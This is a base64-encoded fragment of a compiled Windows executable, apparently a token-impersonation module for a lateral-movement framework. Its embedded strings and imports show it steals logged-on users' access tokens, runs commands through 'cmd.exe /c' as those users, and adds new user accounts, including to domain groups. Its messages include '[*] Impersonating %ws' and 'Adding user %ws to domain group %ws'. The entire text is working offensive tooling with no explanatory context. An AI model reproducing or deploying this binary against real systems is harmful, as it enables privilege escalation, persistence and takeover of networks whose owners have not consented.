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QO0BAAAAAABU7QEAAAAAAGrtAQAAAAAAfO0BAAAAAAAAAAAAAAAAAB7pAQAAAAAAEOkBAAAAAAAAAAAAAAAAAD7pAQAAAAAAAAAAAAAAAAAgAkdldEN1cnJlbnRQcm9jZXNzANEDTG9jYWxBbGxvYwAAMgFEdXBsaWNhdGVIYW5kbGUAEgRPcGVuUHJvY2VzcwA0BFByb2Nlc3NJZFRvU2Vzc2lvbklkAACPBVNsZWVwAGoCR2V0TGFzdEVycm9yAAA5A0dsb2JhbEFsbG9jAIkAQ2xvc2VIYW5kbGUAUQNIZWFwQWxsb2MAuAJHZXRQcm9jQWRkcmVzcwAAIQJHZXRDdXJyZW50UHJvY2Vzc0lkAL4CR2V0UHJvY2Vzc0hlYXAAAIECR2V0TW9kdWxlSGFuZGxlVwAAS0VSTkVMMzIuZGxsAABwAUdldFRva2VuSW5mb3JtYXRpb24AqQFMb29rdXBBY2NvdW50U2lkVwDxAER1cGxpY2F0ZVRva2VuRXgAAIsAQ3JlYXRlUHJvY2Vzc0FzVXNlclcAABUCT3BlblByb2Nlc3NUb2tlbgAAiwFJbXBlcnNvbmF0ZUxvZ2dlZE9uVXNlcgCNAENyZWF0ZVByb2Nlc3NXaXRoVG9rZW5XAGwBR2V0U2lkU3ViQXV0aG9yaXR5AABtAUdldFNpZFN1YkF1dGhvcml0eUNvdW50APQCU2V0VG9rZW5JbmZvcm1hdGlvbgDBAlJldmVydFRvU2VsZgAAHwBBZGp1c3RUb2tlblByaXZpbGVnZXMArwFMb29rdXBQcml2aWxlZ2VWYWx1ZVcAQURWQVBJMzIuZGxsAADpAE5ldFVzZXJBZGQAAIkATmV0R3JvdXBBZGRVc2VyAE5FVEFQSTMyLmRsbAAA6wFOdFF1ZXJ5T2JqZWN0AG50ZGxsLmRsbADVBFJ0bENhcHR1cmVDb250ZXh0ANwEUnRsTG9va3VwRnVuY3Rpb25FbnRyeQAA4wRSdGxWaXJ0dWFsVW53aW5kAADABVVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAfwVTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAngVUZXJtaW5hdGVQcm9jZXNzAACMA0lzUHJvY2Vzc29yRmVhdHVyZVByZXNlbnQAUgRRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgAlAkdldEN1cnJlbnRUaHJlYWRJZAAA8wJHZXRTeXN0ZW1UaW1lQXNGaWxlVGltZQBvA0luaXRpYWxpemVTTGlzdEhlYWQAhQNJc0RlYnVnZ2VyUHJlc2VudADaAkdldFN0YXJ0dXBJbmZvVwDiBFJ0bFVud2luZEV4AEEFU2V0TGFzdEVycm9yAAA4AUVudGVyQ3JpdGljYWxTZWN0aW9uAADEA0xlYXZlQ3JpdGljYWxTZWN0aW9uAAAUAURlbGV0ZUNyaXRpY2FsU2VjdGlvbgBrA0luaXRpYWxpemVDcml0aWNhbFNlY3Rpb25BbmRTcGluQ291bnQAsAVUbHNBbGxvYwAAsgVUbHNHZXRWYWx1ZQCzBVRsc1NldFZhbHVlALEFVGxzRnJlZQC0AUZyZWVMaWJyYXJ5AMoDTG9hZExpYnJhcnlFeFcAAGgEUmFpc2VFeGNlcHRpb24AAGcBRXhpdFByb2Nlc3MAgAJHZXRNb2R1bGVIYW5kbGVFeFcAANwCR2V0U3RkSGFuZGxlAAAlBldyaXRlRmlsZQB9AkdldE1vZHVsZUZpbGVOYW1lVwAA3wFHZXRDb21tYW5kTGluZUEA4AFHZXRDb21tYW5kTGluZVcAVQNIZWFwRnJlZQAAngBDb21wYXJlU3RyaW5nVwAAuANMQ01hcFN0cmluZ1cAAFgCR2V0RmlsZVR5cGUAWANIZWFwUmVBbGxvYwB+AUZpbmRDbG9zZQCEAUZpbmRGaXJzdEZpbGVFeFcAAJUBRmluZE5leHRGaWxlVwCSA0lzVmFsaWRDb2RlUGFnZQC7AUdldEFDUAAAoQJHZXRPRU1DUAAAygFHZXRDUEluZm8A9gNNdWx0aUJ5dGVUb1dpZGVDaGFyABEGV2lkZUNoYXJUb011bHRpQnl0ZQBBAkdldEVudmlyb25tZW50U3RyaW5nc1cAALMBRnJlZUVudmlyb25tZW50U3RyaW5nc1cAJAVTZXRFbnZpcm9ubWVudFZhcmlhYmxlVwBbBVNldFN0ZEhhbmRsZQAA4QJHZXRTdHJpbmdUeXBlVwAAqAFGbHVzaEZpbGVCdWZmZXJzAAAJAkdldENvbnNvbGVPdXRwdXRDUAAABQJHZXRDb25zb2xlTW9kZQAAVgJHZXRGaWxlU2l6ZUV4ADMFU2V0RmlsZVBvaW50ZXJFeAAAWgNIZWFwU2l6ZQAAzgBDcmVhdGVGaWxlVwAkBldyaXRlQ29uc29sZVcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMqLfLZkrAADNXSDSZtT///////8BAAAAAQAAAAIAAAAAAAgAAAAAAAAAAAIAAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIgAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACIAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAADAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////wAAAAAAAAAAgAAKCgoAAAAAAAAAAAAAAEJqAUABAAAA/////wAAAAAAAAAAAAAAAEBlAUABAAAAAQAAAAAAAAABAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACjzAUABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKPMBQAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAo8wFAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACjzAUABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKPMBQAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcPgBQAEAAAAAAAAAAAAAAAAAAAAAAAAAwGcBQAEAAABAaQFAAQAAAFBsAUABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwPEBQAEAAAAw8wFAAQAAAEMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA